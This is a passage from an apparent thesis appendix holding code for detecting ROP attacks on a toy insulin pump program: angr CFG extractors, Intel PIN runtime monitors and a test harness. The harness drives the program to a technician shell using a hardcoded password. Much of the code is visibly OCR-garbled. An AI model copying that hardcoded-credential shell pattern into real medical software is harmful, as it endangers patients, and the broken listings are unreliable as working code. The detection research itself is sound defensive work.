// Simulate insulin delivery explicitly
sleep(2);

printf ("Dosage successfully administered.\n");

// Main user interface for insulin pump
void user_interface() {
int choice;

while (1) {
printf ("\n== Insulin Pump Main Menu ==\n");
printf("1. Administer Insulin Dose\n");
printf ("2. Technician Login\n");
printf ("3. Exit\n");
printf ("Enter your choice: ");
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scanf ("%d", &choice);

switch(choice) {

case 1:
manage_dose () ;
break;

case 2:
authenticate_technician () ;
break;

case 3:
printf ("Exiting system.\n");
exit (0) ;
break;

default:
printf ("Invalid choice. Please try again.\n");

}

int main() {
printf ("Insulin Pump Controller v2.5\n");
user_interface () ;
return O;

10.1.2 Static Analysis and Address Extraction

This section presents the method used to extract valid control-flow targets and identify
sensitive functions via static analysis. The process is automated using the angr binary
analysis framework, which enables the reconstruction of a binary’s control-flow graph
(CFG) and symbolic inspection of instructions.

Objective

To generate a whitelist of valid function return addresses and locate sensitive functions
(e.g., technician_shell) for runtime validation during instrumentation.

Tooling

angr.CFGFast() is used for fast static control-flow reconstruction.
The binary under analysis is insulin_pump.

Source Code

import angr
import json
import os
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# --- CONFIG ---
BINARY_PATH os.path.abspath("./insulin_pump")
OUTPUT_PATH = os.path.abspath("valid_rets.json")

SENSITIVE_FUNCS = ["technician_shell", "dbg.technician_shell"]

def get_sensitive_symbols (proj):
sensitive = []
print ("[*] All function names:")
for addr, func in proj.kb.functions.items():
print (£f" - {func.name} @ {hex(addr)}")
if func.name in SENSITIVE_FUNCS:
print (£" [+] Matched sensitive func: {func.name} @ {hex(addr)l}")
sensitive.append (addr)
return sensitive

def extract_function_entries(cfg):
return [func.addr for func in cfg.kb.functions.values ()]

def extract_call_targets(cfg):
call_targets = set()
for block in cfg.graph.nodes:
try:
irsb = block.block.vex
for stmt in irsb.statements:
if stmt.tag == ’Ist_IMark’:
continue
if hasattr(stmt, ’dst’):
dst = stmt.dst
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if hasattr(dst, ’con’) and isinstance(dst.con.value, int)

call_targets.add(dst.con.value)
except:
continue
return list(call_targets)

def main():
print (£" [+] Loading binary: {BINARY_PATH}")
proj = angr.Project (BINARY_PATH, auto_load_libs=False)

print (" [+] Running CFGFast...")
cfg = proj.analyses.CFGFast ()

print (" [+] Extracting control data...")
valid_targets = set(extract_function_entries(cfg))
valid_targets.update(extract_call_targets(cfg))
sensitive = get_sensitive_symbols(proj)

output = {
"valid_targets": sorted(list(valid_targets)),
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"sensitive": sorted(sensitive)

}

with open (OUTPUT_PATH, "w") as f:
json.dump (output, f, indent=4)

print (£"[+] Written whitelist to: {OUTPUT_PATH}")

print (£" - {len(output[’valid_targets’])} valid targets")
for addr in sorted(valid_targets):
print (£" [valid] {addr} (Ox{addr:x})")
print (£" - {len(output[’sensitive’])} sensitive functions")
for addr in sorted(sensitive):
print (£" [sensitive] {addr} (Ox{addr:x})")
if __name__ == "__main__":
main ()

Listing 10.1: CFG Extraction ; generate_valid_rets_angr.py

Explanation

(1) extract_function_entries(): retrieves all statically known function entry points.
(2) extract_call_targets(): attempts to recover additional call targets from VEX IR
statements. (3) get_sensitive_symbols(): searches for predefined sensitive functions
(like system()) by name. (4) The output is saved as a JSON file, valid_rets. json, which
includes:

valid_targets: Set of all valid call destinations.
sensitive: Specific functions considered sensitive (e.g., potential ROP sinks).

Purpose of This Output

This JSON serves as a static whitelist to guide Intel PIN runtime instrumentation. It en-
sures that any return or jump during program execution can be validated against known-
safe locations. Sensitive functions can also be tracked explicitly for policy enforcement
(e.g., require authentication before entry).

In the next section, we discuss how this extracted data is used by the runtime monitor to
detect illegal transitions and potential ROP-style control hijacks.

10.1.2.1 Address-based ROP Detector (ARD)

This component implements the runtime detection engine for Return-Oriented Program-
ming (ROP) style attacks by tracking low-level RET instructions and validating them
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against a static whitelist of permissible return addresses. The detection is based entirely
on instruction-level instrumentation using Intel PIN.

Goal. To observe every RET instruction at runtime and identify:

(1) Whether it returns to a known (whitelisted) code address. (2) Whether it directly
returns into a sensitive function (e.g., system()). (3) Whether a chain of RET instructions
(e.g., 5 or more) occurs without interruption, suggesting a gadget chain.

Input Dependencies. Before runtime, we generate a static JSON file (valid_rets. json)
containing:
A list of valid RET targets derived from function entry points and static call targets.
A list of sensitive functions to monitor (e.g., technician_shell, system()).

This JSON file is loaded once at the beginning of execution to populate two hash sets used
for real-time validation.

Implementation Overview. The runtime logic in this PIN tool performs the following;:
(1) Hooks every RET instruction using INS_IsRet (). (2) Logs the current RET instruction
pointer and its dynamic return target. (3) Validates this target:

Is it in the static whitelist?
Is it one of the sensitive targets?
Is it located in a dynamic (non-static) memory region?

(4) Maintains a counter of consecutive RETs; exceeding a threshold (e.g., 5) triggers a
potential ROP chain alert. (5) Logs results to an output file rop_detector.log, including
both high-level summary and detailed trace.

Why This Matters. This technique represents the first of two ROP detection mechanisms
explored in this thesis. While it does not capture control semantics (i.e., intent), it offers
low-level fidelity for identifying gadget abuse or control redirection patterns at the RET
instruction granularity. It is sensitive to attacks that chain RETs toward sensitive operations
without invoking legitimate call sites.

Source Code

#include "pin.H"

#include <iostream>

#include <fstream>

#include <unordered_set>

#include "json.hpp" // Use the local json.hpp from nlohmann
#include <sstream>

#include <vector>
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using std::cerr;

using std::endl;

using std::hex;

using std::ifstream;
using std::ofstream;
using std::string;

using std::unordered_set;
using std::stringstream;
using std::vector;

using json = nlohmann:: json;

// === Conflg ===

const UINT32 ROP_CHAIN_THRESHOLD = 5;

const string WHITELIST_PATH = "valid_rets.json"; // Relative path
// === Globals ===

UINT32 retChainCount = O0;

unordered_set <ADDRINT> validRetTargets;
unordered_set <ADDRINT> sensitiveFuncs;
vector<string> summaryAlerts;
std::ostringstream LogBuffer;

// === Utility: Load JSON whitelist ===
VOID LoadWhitelist () {
std::ifstream static_file (WHITELIST_PATH);
if ('static_file) {
cerr << "Failed to open valid_rets.json!" << endl;
PIN_ExitProcess (1) ;

json static_cfg;
static_file >> static_cfg;

for (const auto& addr : static_cfgl["valid_targets"])
validRetTargets.insert (addr.get <ADDRINT>());

for (const auto& addr : static_cfgl["sensitive"])
sensitiveFuncs.insert (addr.get <ADDRINT>());

LogBuffer << "[+] Loaded " << validRetTargets.size ()
<< " total static valid RET targets and "
<< sensitiveFuncs.size() << " sensitive functions."

// === RET handler ===
VOID OnRetExecuted (ADDRINT retAddr, ADDRINT targetAddr)
{

retChainCount ++;

<<

endl;
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LogBuffer << "\n----------------—- RET Execution ------—-—-—--—-———-—-- "<
endl;

LogBuffer << "[RET] 0x" << hex << retAddr << " 0x" << hex <<
targetAddr << endl;

LogBuffer << "[INFO] Chain count: " << retChainCount << endl;

if (retChainCount >= ROP_CHAIN_THRESHOLD)
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{

LogBuffer << " [ALERT] Potential ROP chain detected at O0x"
<< hex << retAddr << "!" << endl;

}

// Classification logic

bool inWhitelist = validRetTargets.find(targetAddr) != validRetTargets.
end () ;

bool isSensitive = sensitiveFuncs.find(targetAddr) != sensitiveFuncs.end
(O

bool isDynamic = (targetAddr > 0x700000000000); // Common threshold

for heap/stack mappings

if (isSensitive)

0

{
stringstream ss;
ss << " RET jumps to sensitive function: 0Ox" << std::hex <<
targetAddr << " (possible bypass)";
LogBuffer << "[ALERT] " << ss.str() << endl;
summaryAlerts.push_back(ss.str());
}
else if (!inWhitelist && isDynamic)
{
LogBuffer << "[INFO] -> Returned to dynamically allocated address:
ot
<< std::hex << targetAddr << " (unverifiable)" << endl;
}
else if (!inWhitelist)
{
LogBuffer << " [ALERT] RET to unknown code address: O0x"
<< std::hex << targetAddr << " (not whitelisted)" << endl;
}
LogBuffer << M--ommmmmmm e - "<
endl;
}
// === Reset RET chain ===
VOID OnOtherImnstr ()
{

if (retChainCount > 0)
{
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LogBuffer << "[INFO] Ret chain ended at count: " << retChainCount <<

endl;
retChainCount = 0;

// === Instrumentation ===
VOID Instruction(INS ins, VOID *v)
{
if (INS_IsRet(ins))
{
INS_InsertCall(
ins, IPOINT_BEFORE, (AFUNPTR)OnRetExecuted,
IARG_INST_PTR, // Address of the RET
IARG_RETURN_IP, // Address RET will jump to
IARG_END) ;
}
else

{

INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)OnOtherInstr, IARG_END);

// === Fini ===
VOID Fini (INT32 code, VOID xv)

std::ofstream LogFile("rop_detector.log");

LogFile << "==============================" << std::endl;
LogFile << "== ROP Detection Summary ==" << std::endl;
LogFile << "==============================" << std::endl;

if (summaryAlerts.empty()) {
LogFile << "[\u2713] No sensitive RETs or bypasses detected."
::endl;
} else {
LogFile << "[!] Sensitive RET targets found:" << std::endl;
for (const auto &line : summaryAlerts)
LogFile << " - " << line << std::endl;

LogFile << "\n==============================" << std::endl;
LogFile << "== Full Log Below ==" << std::endl;
LogFile << "==============================" << std::endl;
LogFile << LogBuffer.str();

LogFile.close();

// === Main ===
int main(int argc, char x*argv[])

<< std
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{
if (PIN_Init(argc, argv))
{
cerr << "Usage: pin -t ./rop_detector.so -- ./target_binary" << endl;
return 1;
}
LoadWhitelist ();
INS_AddInstrumentFunction(Instruction, O0);
PIN_AddFiniFunction(Fini, 0);
PIN_StartProgram() ;
return O;
}

Listing 10.2: Rop_detector.py

10.1.3 Boolean Control-Flow Graph Model Generation

The Boolean Control-Flow Graph generator transforms the binary’s control-flow logic into
an abstract Boolean model. This model captures high-level semantic transitions using
symbolic edges, loops, and conditional evaluations extracted from the static CFG.

Goal. To automatically extract a Boolean abstraction of the binary’s runtime behavior that
encodes: (1) Each function, loop, and condition as a Boolean node. (2) Each permissible
transition as a Boolean rule: dst <— src A cond. (3) Sensitive functions (e.g., system(), exit())
as tagged sinks for security evaluation.

Input Dependencies. The script requires: (a) A compiled binary (e.g., insulin_pump).
(b) angr and claripy for symbolic inspection.

Static Modeling Logic. (1) A CFG is built using CFGFast () from angr. (2) Each function
address becomes a Boolean node of type call. (3) If a function is matched as sensitive
(e.g., via name == "system"), it is marked as a sensitive sink. (4) Conditional branch
guards (Ist_Exit) are extracted and symbolically resolved (if possible) to human-readable
conditions. (5) Loop detection is performed by observing back-edges (edges where suc-
cessor address < current address). (6) For each edge, a Boolean rule is emitted based on
observed transition:

Plain transition: Bty = Bom

Conditional branch: Bty = Bfrom A Beond
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Loop: By, = Bfrom A Bloop

Output Model. The resulting output is a JSON file boolean_cfg. json, containing:

bool_nodes: A mapping of all Boolean control nodes (functions, loops, conditions).

transition_rules: A list of Boolean rules that govern control transitions.

Why This Matters. This model forms the semantic core of the Boolean ROP detection
system. Unlike the raw RET validation strategy, this logic-aware approach:

(1) Captures the intent of execution flows (e.g., conditional access to technician_shell).
(2) Enables expressive alert rules such as:

ROP_ALERT < -B_FUNC_AUTHENTICATE_TECHNICIAN AN B_FUNC_SYSTEM
(3) Compresses many low-level instructions into a tractable and analyzable Boolean state
machine.

Source Code

import angr
import claripy
import json
import os

# === CONFIG ===
BINARY_PATH = os.path.abspath("insulin_pump")
OUTPUT_PATH = os.path.abspath("boolean_cfg.json")

def extract_boolean_rules(cfg, proj):

rules = set ()

bool_nodes = {}

cond_counter = 0

loop_counter = 0

addr_to_bool = {}

seen_loops = set ()

# === SYMBOLIC ANALYSIS SETUP ===

state = proj.factory.entry_state()
proj.factory.simgr (state)

[
H
B8

(00
o}

[}

# Identify entry point
entry_func = cfg.kb.functions.function(name="main"
if entry_func:
entry_bool = f"B_ENTRY_{entry_func.name.upper ()}"
bool_nodes[entry_bool] = {
"type": "entry",
"func": entry_func.name,
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"addr": entry_func.addr,
"addr_hex": hex(entry_func.addr),
"called_by": [1,

"calls": []

1
addr_to_bool[entry_func.addr] = entry_bool

# Extract function nodes
for func in cfg.kb.functions.values():
func_bool = f"B_FUNC_{func.name.upper ()}"
if func.addr not in addr_to_bool:
bool_nodes [func_bool] = {
"type": "call",
"func": func.name,
"addr": func.addr,
"addr_hex": hex(func.addr),

"external": func.is_plt,
"called_by": [],
"calls": []

}
addr_to_bool [func.addr] = func_bool

# Mark sensitive sinks
if func.name in ["system", "exit"]:
bool_nodes [func_bool]["is_sensitive_sink"] = True

# Walk CFG and extract control flow relations
for block in cfg.graph.nodes:
= block.addr
src_func = cfg.kb.functions.floor_func(src_addr)
src_bool = addr_to_bool.get(src_func.addr, f£"B_AT_{hex(src_addr)l}")

src_addr

cond_var = None

try:
ir_block = proj.factory.block(block.addr).vex
for stmt in ir_block.statements:

if stmt.tag == ’Ist_Exit’:
guard_expr = stmt.guard
symbolic_guard = str(guard_expr)

# Attempt to resolve symbolic guard

cond_ast = guard_expr

symbolic_var = claripy.BVS("user_input", 32)
test_state = proj.factory.blank_state ()
test_state.solver.add(cond_ast == symbolic_var)

try:
if test_state.solver.satisfiable():
concrete = test_state.solver.eval(symbolic_var,
cast_to=int)
resolved_expr = f'"user_input == {hex(concrete)}"




10.1. Appendix A Code-implementation

else:
resolved_expr = symbolic_guard
except Exception:
resolved_expr = symbolic_guard

cond_var = f"B_COND_{cond_counterl}"
cond_counter += 1

bool_nodes[cond_var] = {
"type": "condition",
"expr": symbolic_guard,
"expr_resolved": resolved_expr,
"src": hex(src_addr)

}

except Exception:
pass

for succ in cfg.graph.successors(block):
dst_addr = succ.addr
dst_func = cfg.kb.functions.floor_func(dst_addr)
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dst_bool = addr_to_bool.get(dst_func.addr, £"B_AT_{hex(dst_addr)}

n)

# Metadata update
if src_bool in bool_nodes:

bool_nodes [src_bool]l.setdefault("calls", []).append(dst_bool)

if dst_bool in bool_nodes:
bool_nodes[dst_bool].setdefault("called_by",
src_bool)

# Detect loops
if (src_addr, dst_addr) in seen_loops:
continue

if dst_addr == src_addr or dst_addr < src_addr:
loop_var = f"B_LOOP_{loop_counterl}"
loop_counter += 1
bool_nodes[loop_var] = {
"type": "loop",
"src": hex(src_addr),
"dst": hex(dst_addr)
}
seen_loops.add((src_addr, dst_addr))

[1) .append(

rules.add(f"{dst_bool} = {src_booll} AND {loop_var}")

elif cond_var:

rules.add(f"{dst_bool} = {src_bool} AND {cond_varl}t")

else:
rules.add(f"{dst_bool} = {src_booll}")

return bool_nodes, sorted(rules)
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def main():
if not os.path.exists (BINARY_PATH):
raise Exception(f"Binary not found at path: {BINARY_PATH}")

proj = angr.Project(BINARY_PATH, auto_load_libs=False)
cfg = proj.analyses.CFGFast ()

print (" [+] CFG successfully generated")
bool_nodes, boolean_rules = extract_boolean_rules(cfg, proj)

model = {

"bool_nodes": bool_nodes,
"transition_rules": boolean_rules

with open (OUTPUT_PATH, "w") as f:
json.dump (model, f, indent=4)

print (£" [+] Boolean CFG model written to {OUTPUT_PATH}")

if name_ _ __main__":

main ()

Listing 10.3: generate_boolean_cfg.py

Code Structure Overview
The runtime monitor consists of the following core components:

CFG Loader: Parses the Boolean model from a JSON file and initializes state.

Instrumentation Hooks:
Instruction() for tracking direct CALL and RET instructions.

Routine () for capturing function entries via RTN_Address.

OnCall Handler: Core logic to resolve the active Boolean node, validate against
transition rules, and apply enforcement policy.

Fini(): Final logging and report generation.
10.1.3.1 Runtime Boolean ROP Monitor with PIN

This component constitutes the dynamic validation engine for the Boolean CFG model.
The Intel PIN tool observes function-level and instruction-level events, evaluates Boolean
transitions, and enforces semantic correctness at runtime.

Source Code
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#pragma GCC diagnostic push

#pragma GCC diagnostic ignored "-Wmaybe-uninitialized"
#include <unordered_map>

#include <utility>

#pragma GCC diagnostic pop

#include "pin.H"
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <unordered_map>
#include <vector>
#include <set>

#include "json.hpp"

using json = nlohmann:: json;

// === Debug Output Toggle ===
#define DEBUG_MODE O
#if DEBUG_MODE
#define DEBUG_LOG(x) std::cerr << x << std::endl;
#else
#define DEBUG_LOG(x)
#endif

// === Global State ===

std::unordered_map<std::string, bool> BooleanStates;
std::unordered_map <ADDRINT, std::string> AddressToBool;
std::unordered_map<std::string, json> BoolNodeMeta;
std::vector<std::string> TransitionRules;
std::ostringstream LogBuffer;

bool ROP_ALERT = false;

std::vector<std::pair<std::string, std::string>> ValidTransitions;

std::set <ADDRINT> SensitiveSinks;

void ParseTransitions(const json &model) {

for (const auto &entry : model["transition_rules"]) {
std::string rule = entry;
size_t eq_pos = rule.find("=");
if (eq_pos != std::string::npos) {

std::string target = rule.substr (0, eq_pos

std::string condition = rule.substr(eq_pos + 1);

std::istringstream iss(condition);
std::string from;
iss >> from;

ValidTransitions.emplace_back(from, target);
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bool IsValidTransition(const std::string &from, const std::string &to) {
for (const auto &[src, dst] : ValidTransitions) {
if (src == from && dst == to) return true;
}

return false;

void ConditionalSetBool(const std::string &from, const std::string &to) {
if (!'IsValidTransition(from, to)) {

if (to.find("SUB_") != std::string::npos || to.find("_INIT") != std::
string::npos || to.find("_START") != std::string::npos || to.find
("_FINI") != std::string::npos || to.find ("DEREGISTER") != std::

string::npos) {
return; // Ignore noisy system/internal transitions

}
LogBuffer << "[ALERT] Illegal transition: " << from << " -> " << to
<< "\n";
ROP_ALERT = true;
return;
}
BooleanStates[to] = true;
LogBuffer << "[TRANSITION] " << from << " => " << to << " (0K)\n";

void LoadBooleanCFGModel (const std::string &path) {
std::ifstream f(path);
if (1) {

std::cerr << "[!] Failed to load boolean CFG model from: " << path <<

std::endl;
PIN_ExitProcess (1) ;

json model;
f >> model;

for (const auto &pair : model["bool_nodes"].items()) {
const std::string &key = pair.key();
const json &entry = pair.value();

BooleanStates [key] = false;
BoolNodeMetal[key]l = entry;

if (entry.contains("type") && entry.contains("addr") && entry["type"]

== "call") {
ADDRINT addr = entry["addr"].get<ADDRINT>();
AddressToBool [addr] = key;

DEBUG_LOG (" [CFG] Hooking O0x" << std::hex << addr << " -> " << key

)
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if (entry.contains("is_sensitive_sink") && entry["is_sensitive_sink"
].get<bool>()) {
if (entry.contains("addr")) {
ADDRINT sensitiveAddr = entry["addr"].get<ADDRINT>();
SensitiveSinks.insert (sensitiveAddr);
DEBUG_LOG("[SINK] Sensitive sink hooked: " << key << " @ Ox"
<< std::hex << sensitiveAddr);

}
}
}
for (const auto &r : model["transition_rules"]) {
TransitionRules.push_back(r);
}
ParseTransitions (model);
LogBuffer << "[+] Loaded " << BooleanStates.size() << " boolean nodes and
<< TransitionRules.size() << " transition rules." << std::endl;

BooleanStates ["B_ENTRY_MAIN"] = true;
LogBuffer << "[INIT] Activated entry point: B_ENTRY_MAIN\n";

VOID 0OnCall (ADDRINT addr, ADDRINT inst) {
if (AddressToBool.count (addr)) {
std::string to = AddressToBool[addr];
bool matched = false;

for (const auto &[from, active] : BooleanStates) {
if (active && IsValidTransition(from, to)) {
ConditionalSetBool (from, to);
matched = true;
break;

if (!matched) {
if (!'(BoolNodeMetal[to].contains("trusted_bootstrap") &&
BoolNodeMeta[to] ["trusted_bootstrap"])) {

if (to.find("SUB_") == std::string::npos && to.find("_INIT")
== std::string::npos && to.find("_START") == std::string
::npos && to.find("_FINI") == std::string::npos && to.
find ("DEREGISTER") == std::string::npos) {
LogBuffer << "[ALERT] No valid transition into: " << to
<< "\n";

ROP_ALERT = true;
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if (SensitiveSinks.count(addr)) {
LogBuffer << "[CHECK] Sensitive sink call to 0x" << std::hex << addr
<< std::endl;
for (const auto &dep : BooleanStates) {

if (dep.first.find ("AUTH") != std::string::npos && !dep.second) {
LogBuffer << "[ALERT] Unauthorized sensitive sink execution!
Missing auth: " << dep.first << std::endl;

ROP_ALERT = true;

VOID Instruction(INS ins, VOID *v) {
if (INS_IsCall(ins) && INS_IsDirectControlFlow(ins)) {
ADDRINT target = INS_DirectControlFlowTargetAddress (ins);
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)OnCall,
IARG_ADDRINT, target,
IARG_INST_PTR,
IARG_END) ;
}
if (INS_IsRet(ins)) {
INS_InsertCall (ins, IPOINT_BEFORE, (AFUNPTR)OnCall,
IARG_BRANCH_TARGET_ADDR,
IARG_INST_PTR,
IARG_END) ;

VOID Routine (RTN rtn, VOID *v) {
if ('RTN_Valid(rtn)) return;

ADDRINT addr = RTN_Address(rtn);
if (AddressToBool.count (addr)) {
std::string to = AddressToBool[addr];

RTN_Open(rtn);

RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)OnCall,
IARG_ADDRINT, addr,
IARG_ADDRINT, addr,
IARG_END) ;

RTN_Close(rtn);

VOID Fini (INT32 code, VOID *v) {
std::ofstream LogFile("boolean_rop_detector.log");
LogFile << "==== Boolean ROP Detection Log ====\n";

if (!'ROP_ALERT) {
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LogFile << "[ ] No violations detected.\n";
} else {
LogFile << "[!] ROP-style violation detected.\n";

}
LogFile << "\n--- State Dump ---\n";
for (const auto &kv : BooleanStates) {
LogFile << kv.first << " : " << kv.second << std::endl;
}
LogFile << "\n--- Log Trace ---\n" << LogBuffer.str();

LogFile.close();

int main(int argc, char *argv[]) {
if (PIN_Init(argc, argv)) {
std::cerr << "Usage: pin -t ./boolean_rop_detector.so -- ./
target_binary" << std::endl;
return 1;

LoadBooleanCFGModel("boolean_cfg.json");
INS_AddInstrumentFunction(Instruction, 0);
RTN_AddInstrumentFunction (Routine, O0);
PIN_AddFiniFunction(Fini, 0);

PIN_StartProgram() ;
return O;

Listing 10.4: boolean_rop_detector.cpp

Goal. To monitor control-flow transitions in real-time and validate whether they conform
to the Boolean CFG model:

(1) Track legitimate transitions between Boolean nodes (e.g., function calls, RET targets).
(2) Detect violations of declared Boolean control rules. (3) Monitor and restrict access to
sensitive sinks (e.g., system()) unless guarded by legitimate authentication.

Input Dependencies.

boolean_cfg. json: Output of the BSVD generation step.
The tool Intel PIN for dynamic binary instrumentation.

Instrumentation Logic.

Initialization:
Load Boolean nodes, transition rules, and sensitive sinks from boolean_cfg. json.
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Initialize all Boolean nodes to false, except for B_ENTRY_MAIN.

Function Monitoring (RTN-level):
Register function entry points from the model.

For each call, check if any valid transition exists from currently active Boolean
nodes.

If a valid transition exists: mark target as active.
If not, and it is not a bootstrap or system-level symbol, raise an alert.

RET Monitoring (INS-level):
Observe return instructions (RET).
Call target is matched against Boolean node model.
Same validation logic as function entries applies.
Sensitive Sink Validation:

If execution reaches a sensitive sink (e.g., system()), check that authentication
nodes are satisfied.

If not, raise a security alert.

Transition Validation.

The set ValidTransitions is initialized using parsed Boolean rules.
At each transition from from to to, the tool checks whether (from, to) is allowed.
If not, and to is not a known system/init/start symbol, a ROP alert is issued.

Output Behavior.

Execution log is saved to boolean_rop_detector.log.
Includes state dump of Boolean variable activations.
Shows alert trace if any violations are detected.

Why This Matters. This runtime enforcement logic distinguishes between legitimate ex-
ecution sequences and injected or hijacked flows. By tying execution events to Boolean
intent, we:

(1) Detect ROP-style bypasses (e.g., jumping into technician_shell without prior au-
thentication). (2) Filter irrelevant system-internal noise (e.g., sub_401020). (3) Enforce
semantic security policies without requiring symbolic execution or complete path recon-
struction.
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10.1.4 Automated Log Archiving Script for Runtime Flow Evaluation (BSVD /
ARD)

This Python utility script is designed to support the evaluation of legitimate control flows
for both the Boolean Control-Flow Graph (BSVD) and ARD runtime detectors. It plays a
critical role in the validation of detector correctness, as detailed in Section 7.2.1.

The script executes the insulin_pump binary under Intel PIN instrumentation, using either:

boolean_rop_detector.so (for BSVD), or
rop_detector.so (for ARD),

depending on the target detection mechanism under evaluation. Each execution run sim-
ulates a predefined semantically valid program path and generates a corresponding .log
file capturing the detector’s runtime observations.

To prevent overwriting logs between runs, the script automatically:

Copies the generated .log files into a dedicated log/ directory.
Renames each copy according to its test run ID using the format flow_<n>.log.

This script ensures proper traceability, log organization, and reproducibility across test
cases, and is compatible with both static models (boolean_cfg.json, valid_rets.json) used in
this thesis.

By abstracting the detection tool in the command-line interface, the same script logic can
be reused across both detection approaches, reinforcing modularity and experimental con-
sistency.

import os
import shutil
import pexpect

# Paths and config
CMD = "pin -t ./obj-intel64/boolean_rop_detector.so -- ./insulin_pump"
LOG_DIR = "log"

# Ensure log directory exists
os .makedirs (LOG_DIR, exist_ok=True)

def save_logs(flow_id):

log_files = [f for f in os.listdir(’.’) if f.endswith(’.log’) and os.path
.isfile(£)]

for log_file in log_files:
name, ext = os.path.splitext(log_file)
dest_name = f"flow_{flow_idJ}{ext}"
shutil.copy(log_file, os.path.join(LOG_DIR, dest_name))

print (£"[+] Logs for flow {flow_id} saved.\n")
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# Flow Definitions

def flow_1(): # Technician login correct password shell
print (" [*] Running Flow 1: Technician login shell exit
child = pexpect.spawn(CMD, timeout=15)
child.expect ("Enter your choice:")
child.sendline("2")
child.expect ("Enter Technician Password:")
child.sendline("TechAccess2025")
child.expect ("Technician Shell")
child.sendline("exit")
child.expect ("Enter your choice:")
child.sendline("3")
child.expect ("Exiting system.")
child.expect (pexpect.EOF)
save_logs (1)

def flow_2(): # Administer dose valid type + dosage
print (" [*] Running Flow 2: Administer dose valid inputs")
child = pexpect.spawn(CMD, timeout=15)
child.expect ("Enter your choice:")
child.sendline("1")
child.expect ("Enter choice:")
child.sendline("1")
child.expect ("Enter dosage amount.*:")
child.sendline("45")
child.expect("Dosage successfully administered.")
child.expect (pexpect.EQOF)
save_logs (2)

def flow_3(): # Exit directly from main menu
print (" [*] Running Flow 3: Main menu exit")
child = pexpect.spawn(CMD, timeout=15)
child.expect ("Enter your choice:")
child.sendline("3")
child.expect ("Exiting system.")
child.expect (pexpect.EOF)
save_logs (3)

def flow_4(): # Technician login wrong password back
print (" [*] Running Flow 4: Technician login wrong password
child = pexpect.spawn(CMD, timeout=15)
child.expect ("Enter your choice:")
child.sendline("2")
child.expect ("Enter Technician Password:")
child.sendline ("WrongPassword")
child.expect ("Unauthorized access attempt detected!")
child.expect ("Enter your choice:")
child.sendline("3")
child.expect ("Exiting system.")
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child.expect (pexpect.EOF)
save_logs (4)

def flow_5(): # Administer dose invalid type back exit
print (" [*] Running Flow 5: Invalid insulin type")
child = pexpect.spawn(CMD, timeout=15)
child.expect ("Enter your choice:")
child.sendline("1")
child.expect ("Enter choice:")
child.sendline("9") # Invalid insulin type
child.expect("Invalid insulin type selected")
child.expect ("Enter your choice:")
child.sendline("3")
child.expect ("Exiting system.")
child.expect (pexpect.EOF)
save_logs (5)

def flow_6(): # Administer dose valid type + invalid dosage back
exit
print (" [*] Running Flow 6: Invalid dosage")
child = pexpect.spawn(CMD, timeout=15)
child.expect ("Enter your choice:")
child.sendline("1")
child.expect ("Enter choice:")
child.sendline("1")
child.expect ("Enter dosage amount.*:")
child.sendline ("999") # Invalid dosage
child.expect("Invalid dosage entered")
child.expect ("Enter your choice:")
child.sendline("3")
child.expect ("Exiting system.")
child.expect (pexpect.EOF)
save_logs (6)

if __name__ == "__main__":
print (" [*] Running all legitimate control-flow test cases...\n")
flow_1()
flow_2()
flow_3()
flow_4 ()
flow_5()
flow_6 ()

print (" [ ] All legitimate control flows tested.")
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10.2 Prototype Call Graph Extraction Tools

This appendix documents the early-stage tooling developed to prototype static control-
flow models used for runtime analysis. These tools were explored during the initial design
phase to better understand the control-flow structure of the target binary (insulin_pump)
before settling on the final implementation using the angr framework.

While these tools were not used in the deployed detection engines, they provided architec-
tural insight and were instrumental in defining the scope and requirements for both ARD
and BSVD systems.

10.2.1 Manual Call Graph Extraction (CFG)

This Python script parses the LLVM Intermediate Representation (IR) of the binary to
extract direct function-to-function call relationships. It outputs a DOT-format graph vi-
sualizing these relationships, which helped identify critical execution paths and sensitive
routines early in development.

Purpose:

- Visualize static function-level control flow.

- Highlight call dependencies.

- Validate assumptions about program structure.

Referenced in:

Filename: extract_llvm_callgraph.py

import re

with open("insulin_pump.1ll", "r") as f:

lines = f.readlines ()
functions = {}
current_func = None

for line in lines:
# Match function definition
match_def = re.match(r"define.*@(\w+)\(", line)
if match_def:
current_func = match_def.group (1)
functions [current_func] = set ()

# Match call instruction
match_call = re.search(r"call.*@(\w+)\(", line)
if match_call and current_func:
called_func = match_call.group (1)
if called_func !'= current_func: # Avoid self loops
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functions [current_func].add(called_func)

# Output .dot format
with open("manual_callgraph.dot", "w") as out:
out.write("digraph CallGraph {\n")
for caller, callees in functions.items():
for callee in callees:
out .write (f’ "{caller}" -> "{calleel}";\n?)
out.write("}\n")

10.2.2 BSVD

This script implements an extended control-flow graph annotated with Boolean state la-
bels. It represents each node as a functional or conditional program state and encodes
allowed transitions in a way that aligns with the Boolean CFG model used later in the
BSVD runtime engine.

Purpose:

- Prototype a logical execution model using Boolean state vectors.
- Simulate valid/invalid transition constraints.

- Help design the format and semantics of boolean_cfg. json.

Referenced in: Isection 6

Filename: generate_boolean_cfg.py

import re

with open("insulin_pump.1ll", "r") as f:

lines = f.readlines ()
functions = {}
calls = {}
current_func = None
collecting = False

body_lines = []

for line in 1lines:
match_def = re.match(r"define.*@(\w+)\(", line)
if match_def:
if current_func and body_lines:
functions [current_func] = "\\1".join(body_lines) + "\\1"
current_func = match_def.group (1)
body_lines = [line.strip ()]
collecting

1]

True
calls[current_func] = set ()
elif collecting:
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if line.strip().startswith("}"):
body_lines.append("}")
functions [current_func] = "\\1".join(body_lines) + "\\1"
collecting = False
else:
body_lines.append(line.strip())

# Find call instructions
match_call = re.search(r"call.*x@(\w+)\(", line)
if match_call and current_func:
callee = match_call.group (1)
if callee != current_func:
calls[current_func].add(callee)

# Write .dot file

with open("rich_callgraph.dot", "w") as out:
out.write("digraph CallGraph {\n")
out.write(’ mnode [shape=box fontname="monospace"];\n’)

# Node declarations

for func, code in functions.items():
label = code.replace(’"’, >\\"’) # escape quotes
out.write(f’ "{funcl}" [label="{labell}"];\n?’)

# Edges
for caller, callees in calls.items():
for callee in callees:
out . .write(f’ "{callerl}" -> "{calleel}";\n’)

out.write("}\n")

Note

Both scripts were part of the initial exploration phase and informed the evolution of the
final analysis pipeline. They are preserved here for completeness and attribution, as part
of the project’s iterative development approach.

10.2.3 Performance Overhead Measurement

The script measure_overhead.sh is designed to evaluate the runtime and memory over-
head introduced by the instrumentation of an executable using Intel’s PIN tool. It com-
